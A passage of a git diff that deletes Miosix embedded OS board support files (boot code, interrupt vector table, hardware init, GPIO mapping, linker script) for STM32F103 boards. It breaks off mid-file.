b/miosix/arch/cortexM3_stm32f1/stm32f103cb_als_mainboard_rev2/core/stage_1_boot.cpp deleted file mode 100644 index 0cd829b50..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f103cb_als_mainboard_rev2/core/stage_1_boot.cpp +++ /dev/null @@ -1,270 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - /* - * SystemInit() is called *before* initializing .data and zeroing .bss - * Despite all startup files provided by ST do the opposite, there are three - * good reasons to do so: - * First, the CMSIS specifications say that SystemInit() must not access - * global variables, so it is actually possible to call it before - * Second, when running Miosix with the xram linker scripts .data and .bss - * are placed in the external RAM, so we *must* call SystemInit(), which - * enables xram, before touching .data and .bss - * Third, this is a performance improvement since the loops that initialize - * .data and zeros .bss now run with the CPU at full speed instead of 16MHz - * Note that it is called before switching stacks because the memory - * at _heap_end can be unavailable until the external RAM is initialized. - */ - SystemInit(); - - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_IRQHandler(); -void __attribute__((weak)) TAMPER_IRQHandler(); -void __attribute__((weak)) RTC_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Channel1_IRQHandler(); -void __attribute__((weak)) DMA1_Channel2_IRQHandler(); -void __attribute__((weak)) DMA1_Channel3_IRQHandler(); -void __attribute__((weak)) DMA1_Channel4_IRQHandler(); -void __attribute__((weak)) DMA1_Channel5_IRQHandler(); -void __attribute__((weak)) DMA1_Channel6_IRQHandler(); -void __attribute__((weak)) DMA1_Channel7_IRQHandler(); -void __attribute__((weak)) ADC1_2_IRQHandler(); -void __attribute__((weak)) USB_HP_CAN1_TX_IRQHandler(); -void __attribute__((weak)) USB_LP_CAN1_RX0_IRQHandler(); -void __attribute__((weak)) CAN1_RX1_IRQHandler(); -void __attribute__((weak)) CAN1_SCE_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_IRQHandler(); -void __attribute__((weak)) TIM1_UP_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) USBWakeUp_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, - PVD_IRQHandler, - TAMPER_IRQHandler, - RTC_IRQHandler, - FLASH_IRQHandler, - RCC_IRQHandler, - EXTI0_IRQHandler, - EXTI1_IRQHandler, - EXTI2_IRQHandler, - EXTI3_IRQHandler, - EXTI4_IRQHandler, - DMA1_Channel1_IRQHandler, - DMA1_Channel2_IRQHandler, - DMA1_Channel3_IRQHandler, - DMA1_Channel4_IRQHandler, - DMA1_Channel5_IRQHandler, - DMA1_Channel6_IRQHandler, - DMA1_Channel7_IRQHandler, - ADC1_2_IRQHandler, - USB_HP_CAN1_TX_IRQHandler, - USB_LP_CAN1_RX0_IRQHandler, - CAN1_RX1_IRQHandler, - CAN1_SCE_IRQHandler, - EXTI9_5_IRQHandler, - TIM1_BRK_IRQHandler, - TIM1_UP_IRQHandler, - TIM1_TRG_COM_IRQHandler, - TIM1_CC_IRQHandler, - TIM2_IRQHandler, - TIM3_IRQHandler, - TIM4_IRQHandler, - I2C1_EV_IRQHandler, - I2C1_ER_IRQHandler, - I2C2_EV_IRQHandler, - I2C2_ER_IRQHandler, - SPI1_IRQHandler, - SPI2_IRQHandler, - USART1_IRQHandler, - USART2_IRQHandler, - USART3_IRQHandler, - EXTI15_10_IRQHandler, - RTC_Alarm_IRQHandler, - USBWakeUp_IRQHandler, - 0,0,0,0,0,0,0, - reinterpret_cast(0xF108F85F) - /* @0x108. This is for boot in RAM mode for - STM32F10x Medium Density devices. */ -}; - -#pragma weak SysTick_Handler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_IRQHandler = Default_Handler -#pragma weak TAMPER_IRQHandler = Default_Handler -#pragma weak RTC_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Channel1_IRQHandler = Default_Handler -#pragma weak DMA1_Channel2_IRQHandler = Default_Handler -#pragma weak DMA1_Channel3_IRQHandler = Default_Handler -#pragma weak DMA1_Channel4_IRQHandler = Default_Handler -#pragma weak DMA1_Channel5_IRQHandler = Default_Handler -#pragma weak DMA1_Channel6_IRQHandler = Default_Handler -#pragma weak DMA1_Channel7_IRQHandler = Default_Handler -#pragma weak ADC1_2_IRQHandler = Default_Handler -#pragma weak USB_HP_CAN1_TX_IRQHandler = Default_Handler -#pragma weak USB_LP_CAN1_RX0_IRQHandler = Default_Handler -#pragma weak CAN1_RX1_IRQHandler = Default_Handler -#pragma weak CAN1_SCE_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_IRQHandler = Default_Handler -#pragma weak TIM1_UP_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak USBWakeUp_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM3_stm32f1/stm32f103cb_als_mainboard_rev2/interfaces-impl/bsp.cpp b/miosix/arch/cortexM3_stm32f1/stm32f103cb_als_mainboard_rev2/interfaces-impl/bsp.cpp deleted file mode 100644 index 0eb99e4d4..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f103cb_als_mainboard_rev2/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,182 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012, 2013, 2014, 2015 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** - * bsp.cpp Part of the Miosix Embedded OS. - * Board support package, this file initializes hardware. - ************************************************************************/ - - -#include -#include -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "drivers/dcc.h" -#include "board_settings.h" - -namespace miosix { - -// -// Initialization -// - -void IRQbspInit() -{ - //Enable all GPIOs - RCC->APB2ENR |= RCC_APB2ENR_IOPAEN - | RCC_APB2ENR_IOPBEN - | RCC_APB2ENR_IOPCEN - | RCC_APB2ENR_IOPDEN - | RCC_APB2ENR_AFIOEN; - RCC_SYNC(); - //Port config (H=high, L=low, PU=pullup, PD=pulldown) - // | PORTA | PORTB | PORTC | PORTD | - //--+--------------+-------------+---------+---------+ - // 0| IN | IN PD | - | IN PD | - // 1| IN PU | IN PD | - | IN PD | - // 2| IN | IN PD | - | - | - // 3| IN PD | IN PD | - | - | - // 4| OUT H 10MHz | IN PD | - | - | - // 5| AF5 10MHz | IN PD | - | - | - // 6| AF5 10MHz | IN PD | - | - | - // 7| AF5 10MHz | IN PD | - | - | - // 8| OUT L 10MHz | IN PD | - | - | - // 9| AF7 400KHz | IN PD | - | - | - //10| IN PU | IN PD | - | - | PA10 was AF7PU - //11| IN PD | OUT L 10MHz | - | - | - //12| IN PD | OUT L 10MHz | - | - | - //13| OUT L 400KHz | OUT L 10MHz | IN PD | - | - //14| OUT H 400KHz | OUT L 10MHz | AF0 | - | - //15| OUT L 400KHz | OUT L 10MHz | AF0 | - | - - GPIOA->CRL=0x99918484; - GPIOA->CRH=0x222888a1; - GPIOB->CRL=0x88888888; - GPIOB->CRH=0x11111888; - GPIOC->CRH=0x99844444; - GPIOD->CRL=0x44444488; - - GPIOA->ODR=0x4412; - GPIOB->ODR=0x0000; - GPIOC->ODR=0x0000; - GPIOD->ODR=0x0000; - - AFIO->MAPR=AFIO_MAPR_SWJ_CFG_2 | AFIO_MAPR_PD01_REMAP; - - RCC->APB1ENR |= RCC_APB1ENR_PWREN; - RCC_SYNC(); - PWR->CR |= PWR_CR_DBP //Enable access to RTC registers - | PWR_CR_PLS_0 //Select 2.3V trigger point for low battery - | PWR_CR_PVDE //Enable low battery detection - | PWR_CR_LPDS; //Put regulator in low power when entering stop - RCC->BDCR |= RCC_BDCR_LSEON //External 32KHz oscillator enabled - | RCC_BDCR_RTCEN //RTC enabled - | RCC_BDCR_RTCSEL_0; //Select LSE as clock source for RTC - while((RCC->BDCR & RCC_BDCR_LSERDY)==0) ; //Wait - RCC->APB2ENR |= RCC_APB2ENR_SPI1EN; - SPI1->CR1=SPI_CR1_SSM //handle CS in software - | SPI_CR1_SSI //internal CS tied high - | SPI_CR1_SPE //SPI enabled (speed 8MHz) - | SPI_CR1_MSTR; //Master mode - - ledOn(); - delayMs(100); - ledOff(); - - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - new STM32Serial(defaultSerial,defaultSerialSpeed, - defaultSerialFlowctrl ? STM32Serial::RTSCTS : STM32Serial::NOFLOWCTRL))); -} - -void bspInit2() -{ - //No SDIO peripheral in medium-density stm32, so no filesystem -} - -static void spi1send(unsigned char data) -{ - SPI1->DR=data; - while((SPI1->SR & SPI_SR_RXNE)==0) ; //Wait -} - -// -// Shutdown and reboot -// - -void shutdown() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - disableInterrupts(); - - //Put outputs in low power mode - led::low(); - hpled::high(); - sen::low(); - - //Put cam in low power mode - cam::en::low(); - cam::cs::mode(Mode::INPUT); cam::cs::pulldown(); - cam::sck::mode(Mode::INPUT); cam::sck::pulldown(); - cam::miso::mode(Mode::INPUT); cam::miso::pulldown(); - cam::mosi::mode(Mode::INPUT); cam::mosi::pulldown(); - - //Put nrf in low power mode - nrf::ce::low(); - nrf::cs::low(); - spi1send(0x20 | 0); //Write to reg 0 - spi1send(0x8); //PWR_UP=0 - nrf::cs::high(); - nrf::miso::mode(Mode::INPUT); nrf::miso::pulldown(); //nrf miso goes tristate if cs high - - EXTI->IMR=0; //All IRQs masked - EXTI->PR=0x7fffff; //Clear eventual pending request - SCB->SCR |= SCB_SCR_SLEEPDEEP_Msk; //Select stop mode - __WFI(); //And it goes to sleep till a reset - //Should never reach here - miosix_private::IRQsystemReboot(); -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM3_stm32f1/stm32f103cb_als_mainboard_rev2/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM3_stm32f1/stm32f103cb_als_mainboard_rev2/interfaces-impl/bsp_impl.h deleted file mode 100644 index dc4462ab1..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f103cb_als_mainboard_rev2/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,46 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012, 2013, 2014, 2015 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "hwmapping.h" - -namespace miosix { - -inline void ledOn() { led::high(); } -inline void ledOff() { led::low(); } - -} - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM3_stm32f1/stm32f103cb_als_mainboard_rev2/interfaces-impl/hwmapping.h b/miosix/arch/cortexM3_stm32f1/stm32f103cb_als_mainboard_rev2/interfaces-impl/hwmapping.h deleted file mode 100644 index f295d7fa7..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f103cb_als_mainboard_rev2/interfaces-impl/hwmapping.h +++ /dev/null @@ -1,66 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012, 2013, 2014, 2015 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#ifndef HWMAPPING_H -#define HWMAPPING_H - -#include "interfaces/gpio.h" - -namespace miosix { - -typedef Gpio strig; -typedef Gpio button; -typedef Gpio led; -typedef Gpio hpled; -typedef Gpio sen; - -namespace nrf { -typedef Gpio irq; -typedef Gpio cs; -typedef Gpio sck; -typedef Gpio miso; -typedef Gpio mosi; -typedef Gpio ce; -} - -namespace cam { -typedef Gpio irq; -typedef Gpio en; -typedef Gpio cs; -typedef Gpio sck; -typedef Gpio miso; -typedef Gpio mosi; -} - -namespace serial { -typedef Gpio tx; -typedef Gpio rx; -} - -} //namespace miosix - -#endif //HWMAPPING_H diff --git a/miosix/arch/cortexM3_stm32f1/stm32f103cb_als_mainboard_rev2/stm32_128k+20k_rom.ld b/miosix/arch/cortexM3_stm32f1/stm32f103cb_als_mainboard_rev2/stm32_128k+20k_rom.ld deleted file mode 100644 index 40e9d54c2..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f103cb_als_mainboard_rev2/stm32_128k+20k_rom.ld +++ /dev/null @@ -1,170 +0,0 @@ -/* - * C++ enabled linker script for stm32 (128K FLASH, 20K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in the internal ram - * - the external ram (if available) is not used. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the heap on 20KB microcontrollers */ -_heap_end = 0x20005000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0, LENGTH = 128K - - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(wx) : ORIGIN = 0x20000200, LENGTH = 20K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM3_stm32f1/stm32f103cx_generic/core/stage_1_boot.cpp b/miosix/arch/cortexM3_stm32f1/stm32f103cx_generic/core/stage_1_boot.cpp deleted file mode 100644 index 0cd829b50..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f103cx_generic/core/stage_1_boot.cpp +++ /dev/null @@ -1,270 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - /* - * SystemInit() is called *before* initializing .data and zeroing .bss - * Despite all startup files provided by ST do the opposite, there are three - * good reasons to do so: - * First, the CMSIS specifications say that SystemInit() must not access - * global variables, so it is actually possible to call it before - * Second, when running Miosix with the xram linker scripts .data and .bss - * are placed in the external RAM, so we *must* call SystemInit(), which - * enables xram, before touching .data and .bss - * Third, this is a performance improvement since the loops that initialize - * .data and zeros .bss now run with the CPU at full speed instead of 16MHz - * Note that it is called before switching stacks because the memory - * at _heap_end can be unavailable until the external RAM is initialized. - */ - SystemInit(); - - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_IRQHandler(); -void __attribute__((weak)) TAMPER_IRQHandler(); -void __attribute__((weak)) RTC_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Channel1_IRQHandler(); -void __attribute__((weak)) DMA1_Channel2_IRQHandler(); -void __attribute__((weak)) DMA1_Channel3_IRQHandler(); -void __attribute__((weak)) DMA1_Channel4_IRQHandler(); -void __attribute__((weak)) DMA1_Channel5_IRQHandler(); -void __attribute__((weak)) DMA1_Channel6_IRQHandler(); -void __attribute__((weak)) DMA1_Channel7_IRQHandler(); -void __attribute__((weak)) ADC1_2_IRQHandler(); -void __attribute__((weak)) USB_HP_CAN1_TX_IRQHandler(); -void __attribute__((weak)) USB_LP_CAN1_RX0_IRQHandler(); -void __attribute__((weak)) CAN1_RX1_IRQHandler(); -void __attribute__((weak)) CAN1_SCE_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_IRQHandler(); -void __attribute__((weak)) TIM1_UP_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void 